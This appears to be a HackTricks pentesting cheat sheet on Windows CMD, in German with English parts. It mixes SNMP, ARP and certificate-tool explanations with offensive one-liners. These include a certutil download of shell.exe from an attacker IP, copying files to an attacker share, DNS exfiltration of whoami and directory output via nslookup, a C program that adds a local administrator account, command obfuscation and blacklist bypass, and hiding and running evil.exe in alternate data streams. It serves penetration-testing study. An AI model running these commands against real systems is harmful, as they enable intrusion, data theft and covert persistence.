SNMP-Versionen
Es gibt verschiedene Versionen von SNMP, darunter SNMPv1, SNMPv2c und SNMPv3.
- SNMPv1: Die erste Version von SNMP, die grundlegende Funktionen zur Überwachung und Verwaltung von Netzwerkgeräten bietet. Es verwendet eine einfache Community-basierte Authentifizierung, die jedoch unsicher ist, da die Community-Strings im Klartext übertragen werden.
- SNMPv2c: Eine verbesserte Version von SNMPv1, die zusätzliche Funktionen und Verbesserungen bietet. Es verwendet immer noch die Community-basierte Authentifizierung.
- SNMPv3: Die sicherste Version von SNMP, die erweiterte Sicherheitsfunktionen wie Verschlüsselung und Authentifizierung bietet. SNMPv3 verwendet Benutzernamen und Kennwörter für die Authentifizierung und Verschlüsselung für die Vertraulichkeit der übertragenen Daten.
SNMP-Tools
Es gibt verschiedene Tools, die für das Arbeiten mit SNMP verwendet werden können:
snmpwalk
: Ein Befehlszeilentool, das verwendet wird, um Informationen von SNMP-Agenten abzurufen. Es durchläuft die MIB (Management Information Base) und gibt die abgerufenen Informationen aus.snmpget
: Ein Befehlszeilentool, das verwendet wird, um eine einzelne Information von einem SNMP-Agenten abzurufen.snmpset
: Ein Befehlszeilentool, das verwendet wird, um eine einzelne Information auf einem SNMP-Agenten zu ändern.snmptrap
: Ein Befehlszeilentool, das verwendet wird, um SNMP-Traps zu senden, die Ereignisse oder Fehler an den SNMP-Manager melden.
SNMP-Sicherheit
Da SNMPv1 und SNMPv2c unsichere Authentifizierungsmethoden verwenden, ist es wichtig, geeignete Sicherheitsmaßnahmen zu ergreifen, um die Sicherheit des SNMP-Verkehrs zu gewährleisten. Hier sind einige bewährte Sicherheitspraktiken:
- Verwenden Sie SNMPv3, um erweiterte Sicherheitsfunktionen wie Verschlüsselung und Authentifizierung zu nutzen.
- Verwenden Sie starke Kennwörter für die SNMP-Authentifizierung und ändern Sie sie regelmäßig.
- Begrenzen Sie den Zugriff auf SNMP-Agenten auf autorisierte IP-Adressen.
- Überwachen Sie den SNMP-Verkehr und suchen Sie nach verdächtigen Aktivitäten.
- Aktualisieren Sie regelmäßig die SNMP-Software, um Sicherheitslücken zu schließen.
Zusammenfassung
SNMP ist ein Protokoll zur Verwaltung und Überwachung von Netzwerkgeräten. Es gibt verschiedene Versionen von SNMP, darunter SNMPv1, SNMPv2c und SNMPv3. SNMP-Tools wie snmpwalk
, snmpget
, snmpset
und snmptrap
werden verwendet, um Informationen von SNMP-Agenten abzurufen, zu ändern und Traps zu senden. Es ist wichtig, angemessene Sicherheitsmaßnahmen zu ergreifen, um die Sicherheit des SNMP-Verkehrs zu gewährleisten, insbesondere bei der Verwendung von SNMPv1 und SNMPv2c.
reg query HKLM\SYSTEM\CurrentControlSet\Services\SNMP /s
Netzwerkschnittstellen
Network interfaces, also known as network adapters or NICs (Network Interface Cards), are hardware devices that allow a computer to connect to a network. They provide the necessary physical connection between the computer and the network, enabling communication between devices.
Netzwerkschnittstellen, auch als Netzwerkadapter oder NICs (Network Interface Cards) bekannt, sind Hardwaregeräte, die es einem Computer ermöglichen, sich mit einem Netzwerk zu verbinden. Sie stellen die erforderliche physische Verbindung zwischen dem Computer und dem Netzwerk her und ermöglichen die Kommunikation zwischen den Geräten.
ipconfig /all
ARP-Tabelle
Die ARP-Tabelle (Address Resolution Protocol) ist eine Tabelle, die in einem Betriebssystem gespeichert wird und die Zuordnung von IP-Adressen zu MAC-Adressen enthält. Sie wird verwendet, um die Kommunikation in einem lokalen Netzwerk zu ermöglichen, indem sie die MAC-Adresse eines Geräts anhand seiner IP-Adresse ermittelt.
Die ARP-Tabelle kann mithilfe des Befehls arp -a
in der Eingabeaufforderung angezeigt werden. Dieser Befehl zeigt die IP-Adressen und die zugehörigen MAC-Adressen aller Geräte an, mit denen das System kommuniziert hat.
Die ARP-Tabelle ist auch ein nützliches Werkzeug für Pentester, da sie Informationen über die Geräte im Netzwerk liefert. Durch Überprüfen der ARP-Tabelle können Pentester feststellen, ob ein Gerät möglicherweise gefährdet ist oder ob ein Angreifer versucht, sich als ein anderes Gerät auszugeben (ARP-Spoofing).
Es ist wichtig, die ARP-Tabelle regelmäßig zu überprüfen und verdächtige Einträge zu identifizieren, um die Sicherheit des Netzwerks zu gewährleisten.
arp -A
Herunterladen
Bitsadmin.exe
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1
CertReq.exe
CertReq.exe is a command-line tool in Windows that is used to create and submit certificate requests to a certification authority (CA). It is commonly used by system administrators and security professionals for managing certificates in a Windows environment.
Usage
The basic syntax for using CertReq.exe is as follows:
certreq [options] [requestfile] [responsefile]
Options
Here are some commonly used options with CertReq.exe:
- -new: Creates a new certificate request.
- -submit: Submits a certificate request to a CA.
- -accept: Accepts a response to a certificate request.
- -retrieve: Retrieves a response to a certificate request.
- -sign: Signs a certificate request.
- -policy: Specifies the certificate policy to use.
- -config: Specifies the configuration file to use.
- -attrib: Specifies additional attributes for the certificate request.
Examples
Here are some examples of how CertReq.exe can be used:
- To create a new certificate request:
certreq -new request.inf request.req
- To submit a certificate request to a CA:
certreq -submit request.req response.req
- To accept a response to a certificate request:
certreq -accept response.req
- To retrieve a response to a certificate request:
certreq -retrieve request.req response.req
- To sign a certificate request:
certreq -sign request.req response.req
- To specify a certificate policy:
certreq -policy "PolicyName" request.req response.req
- To specify a configuration file:
certreq -config "ConfigFile" request.req response.req
- To specify additional attributes for the certificate request:
certreq -attrib "Attribute1=Value1&Attribute2=Value2" request.req response.req
Conclusion
CertReq.exe is a powerful command-line tool for managing certificates in a Windows environment. It provides various options for creating, submitting, accepting, retrieving, and signing certificate requests. System administrators and security professionals can leverage CertReq.exe to streamline the certificate management process and enhance the security of their Windows systems.
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt
Certutil.exe
Certutil.exe is a command-line utility in Windows that is used to manage certificates. It provides various functions for working with certificates, such as installing, exporting, and verifying them.
Usage
To use Certutil.exe, open a command prompt and type certutil
followed by the desired command and its parameters.
Common Commands
Here are some common commands that can be used with Certutil.exe:
- -addstore: Adds a certificate or a certificate chain to a certificate store.
- -delstore: Deletes a certificate or a certificate chain from a certificate store.
- -store: Specifies the certificate store to use.
- -view: Displays the contents of a certificate or a certificate store.
- -exportPFX: Exports a certificate or a certificate chain to a Personal Information Exchange (PFX) file.
- -importPFX: Imports a certificate or a certificate chain from a PFX file.
Examples
Here are some examples of how Certutil.exe can be used:
- To view the contents of the "My" certificate store, use the command:
certutil -viewstore -store "My"
- To add a certificate to the "Trusted Root Certification Authorities" store, use the command:
certutil -addstore -f "Root" <certificate_file>
- To export a certificate from the "Personal" store to a PFX file, use the command:
certutil -exportPFX -p <password> -f <certificate_name> <pfx_file>
Conclusion
Certutil.exe is a powerful command-line utility for managing certificates in Windows. It provides a wide range of functions for working with certificates, making it a valuable tool for pentesters and system administrators.
certutil.exe -urlcache -split -f "http://10.10.14.13:8000/shell.exe" s.exe
Finden Sie noch mehr, indem Sie nach Download
auf https://lolbas-project.github.io suchen
Sonstiges
cd #Get current dir
cd C:\path\to\dir #Change dir
dir #List current dir
dir /a:h C:\path\to\dir #List hidden files
dir /s /b #Recursive list without shit
time #Get current time
date #Get current date
shutdown /r /t 0 #Shutdown now
type <file> #Cat file
#Runas
runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe" #Use saved credentials
runas /netonly /user:<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Hide
attrib +h file #Set Hidden
attrib -h file #Quit Hidden
#Give full control over a file that you owns
icacls <FILE_PATH> /t /e /p <USERNAME>:F
icacls <FILE_PATH> /e /r <USERNAME> #Remove the permision
#Recursive copy to smb
xcopy /hievry C:\Users\security\.yawcam \\10.10.14.13\name\win
#exe2bat to transform exe file in bat file
#ADS
dir /r #Detect ADS
more file.txt:ads.txt #read ADS
powershell (Get-Content file.txt -Stream ads.txt)
# Get error messages from code
net helpmsg 32 #32 is the code in that case
Umgehung der Zeichen-Schwarzenliste
In einigen Fällen können Webanwendungen bestimmte Zeichen in Eingaben verbieten, um Sicherheitslücken zu verhindern. Dies wird als Zeichen-Schwarzenliste bezeichnet. Es ist jedoch möglich, diese Beschränkungen zu umgehen und dennoch schädlichen Code einzufügen.
Eine Möglichkeit, die Zeichen-Schwarzenliste zu umgehen, besteht darin, alternative Zeichen zu verwenden, die ähnlich aussehen, aber nicht auf der Liste stehen. Zum Beispiel kann das Zeichen "o" durch die Verwendung des griechischen Buchstabens "ο" ersetzt werden.
Eine andere Methode besteht darin, die Zeichenkodierung zu ändern. Durch die Verwendung von Unicode-Zeichen oder Hexadezimalwerten können verbotene Zeichen umgangen werden. Zum Beispiel kann das Zeichen "a" durch den Unicode-Wert "\u0061" oder den Hexadezimalwert "61" ersetzt werden.
Es ist wichtig zu beachten, dass das Umgehen der Zeichen-Schwarzenliste eine Form der Umgehung von Sicherheitsmaßnahmen darstellt und nur zu legitimen Zwecken verwendet werden sollte.
echo %HOMEPATH:~6,-11% #\
who^ami #whoami
DOSfuscation
Generiert eine verschleierte CMD-Zeile
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git
cd Invoke-DOSfuscation
Import-Module .\Invoke-DOSfuscation.psd1
Invoke-DOSfuscation
help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding
Adressen-ACLs anhören
Sie können auf http://+:80/Temporary_Listen_Addresses/ ohne Administratorrechte zu haben.
netsh http show urlacl
Manuelle DNS-Shell
Angreifer (Kali) muss eine der folgenden 2 Optionen verwenden:
sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
Opfer
Technik for /f tokens
: Dies ermöglicht es uns, Befehle auszuführen, die ersten X Wörter jeder Zeile zu erhalten und sie über DNS an unseren Server zu senden.
for /f %a in ('whoami') do nslookup %a <IP_kali> #Get whoami
for /f "tokens=2" %a in ('echo word1 word2') do nslookup %a <IP_kali> #Get word2
for /f "tokens=1,2,3" %a in ('dir /B C:\') do nslookup %a.%b.%c <IP_kali> #List folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Program Files (x86)"') do nslookup %a.%b.%c <IP_kali> #List that folder
for /f "tokens=1,2,3" %a in ('dir /B "C:\Progra~2"') do nslookup %a.%b.%c <IP_kali> #Same as last one
#More complex commands
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('whoami /priv ^| findstr /i "enable"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali> #Same as last one
Sie können auch die Ausgabe umleiten und sie dann lesen.
whoami /priv | finstr "Enab" > C:\Users\Public\Documents\out.txt
for /f "tokens=1,2,3,4,5,6,7,8,9" %a in ('type "C:\Users\Public\Documents\out.txt"') do nslookup %a.%b.%c.%d.%e.%f.%g.%h.%i <IP_kali>
Aufrufen von CMD aus C-Code
In einigen Fällen kann es erforderlich sein, die Windows-Befehlszeile (CMD) aus C-Code heraus aufzurufen. Dies kann nützlich sein, um bestimmte Befehle oder Skripte auszuführen und die Ergebnisse in der C-Anwendung zu verarbeiten.
Um CMD aus C-Code heraus aufzurufen, können Sie die system
-Funktion verwenden. Diese Funktion ermöglicht es Ihnen, einen Befehl als Zeichenkette an CMD zu übergeben und die Ausgabe des Befehls zu erhalten.
Hier ist ein Beispiel, wie Sie CMD aus C-Code heraus aufrufen können:
#include <stdlib.h>
int main() {
// Befehl, der ausgeführt werden soll
char command[] = "dir";
// CMD aufrufen und den Befehl ausführen
system(command);
return 0;
}
In diesem Beispiel wird der Befehl "dir" an CMD übergeben, der das Verzeichnis auflistet. Sie können den Befehl durch jeden anderen gültigen CMD-Befehl ersetzen.
Beachten Sie, dass die system
-Funktion blockierend ist, d.h. die Ausführung der C-Anwendung wird angehalten, bis der aufgerufene Befehl abgeschlossen ist. Wenn Sie eine nicht blockierende Ausführung wünschen, können Sie stattdessen die CreateProcess
-Funktion verwenden.
Es ist wichtig zu beachten, dass das Aufrufen von CMD aus C-Code heraus Sicherheitsrisiken mit sich bringen kann, insbesondere wenn Benutzereingaben in den Befehl einbezogen werden. Stellen Sie sicher, dass Sie alle Benutzereingaben ordnungsgemäß validieren und filtern, um potenzielle Angriffe zu verhindern.
#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
// When executed by Administrator this program will create a user and then add him to the administrators group
// i686-w64-mingw32-gcc addmin.c -o addmin.exe
// upx -9 addmin.exe
int main (){
int i;
i=system("net users otherAcc 0TherAcc! /add");
i=system("net localgroup administrators otherAcc /add");
return 0;
}
Alternate Data Streams Spickzettel (ADS/Alternate Data Stream)
Beispiele entnommen von https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f. Es gibt noch viele weitere dort!
## Selected Examples of ADS Operations ##
### Adding Content to ADS ###
# Append executable to a log file as an ADS
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
# Download a script directly into an ADS
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/Moriarty2016/git/master/test.ps1 c:\temp:ttt
### Discovering ADS Content ###
# List files and their ADS
dir /R
# Use Sysinternals tool to list ADS of a file
streams.exe <c:\path\to\file>
### Extracting Content from ADS ###
# Extract an executable stored in an ADS
expand c:\ads\file.txt:test.exe c:\temp\evil.exe
### Executing ADS Content ###
# Execute an executable stored in an ADS using WMIC
wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"'
# Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!
- Arbeiten Sie in einem Cybersicherheitsunternehmen? Möchten Sie Ihr Unternehmen in HackTricks bewerben? Oder möchten Sie Zugriff auf die neueste Version von PEASS oder HackTricks im PDF-Format haben? Überprüfen Sie die ABONNEMENTPLÄNE!
- Entdecken Sie The PEASS Family, unsere Sammlung exklusiver NFTs.
- Holen Sie sich das offizielle PEASS & HackTricks-Merchandise.
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie mir auf Twitter 🐦@carlospolopm.
- Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das hacktricks repo und das hacktricks-cloud repo senden.